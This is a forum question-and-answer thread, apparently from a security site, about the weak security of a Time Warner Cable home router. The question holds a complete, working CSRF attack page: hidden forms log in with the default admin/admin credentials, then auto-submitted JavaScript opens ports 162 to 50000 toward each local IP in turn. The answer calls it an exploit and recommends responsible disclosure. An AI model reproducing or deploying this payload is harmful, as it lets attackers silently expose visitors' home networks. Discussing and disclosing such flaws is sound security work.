What constitutes an exploit? I was able to compromise my common household router

Question

Was setting up Wifi at home today (just using the default router Time Warner Cable provides) and was appalled at the minimal security that the web server provides.

• Default user name/password is Googlable and is admin admin

• When you do change passwords, your password change is restricted to less than 8 characters and no special characters. No limits on password attempts (Thus bruteforcable)

• No CSRF tokens

So I thought I would write a simple web-page that port forwards all traffic to the first ip allocated by default.

<!-- First form logs us in -->
<form id="login" action="http://192.168.0.1/goform/login" method=POST name="login" target="login_frame">

    <input type="password" name="loginUsername" value="admin">
    <input type="password" name="loginPassword" value="admin">
    <input id='btnLogin' type="submit" value="Login">

</form>

<!-- Second form sets settings -->
<!-- Ports from 162 - 50000 since UDP is default 161 (plus all the good ports are open later anyway). Could potentially change UDP, or set ranges from 0 - 160 as well -->
<form id="hack" action="http://192.168.0.1/goform/RgForwarding" method="POST" name="login" target="hack_frame">

    <input type="text" name="PortForwardingCreateRemove" value="0"/>
    <input type="text" name="PortForwardingExtIp" value="0.0.0.0"/>
    <input type="text" name="PortForwardingExtStartPort" value="162" />
    <input type="text" name="PortForwardingExtEndPort" value="50000"/>
    <input type="text" id="ip" name="PortForwardingLocalIp" />
    <input type="text" name="PortForwardingLocalStartPort" value="162"/>
    <input type="text" name="PortForwardingLocalEndPort"  value="50000"/>
    <input type="text" name="PortForwardingProtocol"  value="4"/>
    <input type="text" name="PortForwardingDesc"  value="Pwnage"/>
    <input type="text" name="PortForwardingEnabled" value="1" />
    <input type="text" name="PortForwardingApply" value="2" />
    <input type="text" name="PortForwardingTable" value="0" />

</form>

<!-- Iframes prevent need for popups -->
<iframe name="login_frame"></iframe>
<iframe name="hack_frame"></iframe>

<script type="text/javascript">

    // Submitting forms instead of doing XMLHttpRequest gets around
    // Chrome and other modern browsers complaining about Access-Control-Allow-Origin
    var wait = 1000;

    var login = document.getElementById('login');
    setTimeout(function(evt){ login.submit() }, wait);

    var hack = document.getElementById('hack');
    var ip = document.getElementById('ip');
    var base = "192.168.0.";
    var i = 10;
    var rinse = function(){
        if(i >= 256) return; // Impossible IPs say what?
        ip.value = base + i;
        hack.submit();
        i++;
        // Callback to malicious server to indicate the deed was done.
    }
    setTimeout(rinse, wait * 2);

    // Potentially have callback from server after attempt to exploit
    // then rinse and repeat with different ip

</script>

The worst part about this, is that it works. Does this constitute an exploit? Do router manufactures just not care for security? I could have tried to play around with other settings, but this seemed like leaving a victim wide-open for metasploit. Would most OS firewalls be able to save a victim? Should I buy another router?

Just some ideas floating around.

Answer 1

ISP routers are notorious for having bad security. Home routers in general aren't that great security wise, but some of the better ones at least provide firmware updates that fix known flaws. They provide better security than their ISP counterparts, and usually have a much better feature set as well.

I would consider this an exploit. As such, you should consider where and how you post information about this - the best way to handle such things in my view is through responsible disclosure:

"Responsible disclosure is a computer security term describing a vulnerability disclosure model. It is like full disclosure, with the addition that all stakeholders agree to allow a period of time for the vulnerability to be patched before publishing the details."

(Wikipedia - you can read the rest here: http://en.wikipedia.org/wiki/Responsible_disclosure)

OS level firewall won't mitigate these kinds of attacks.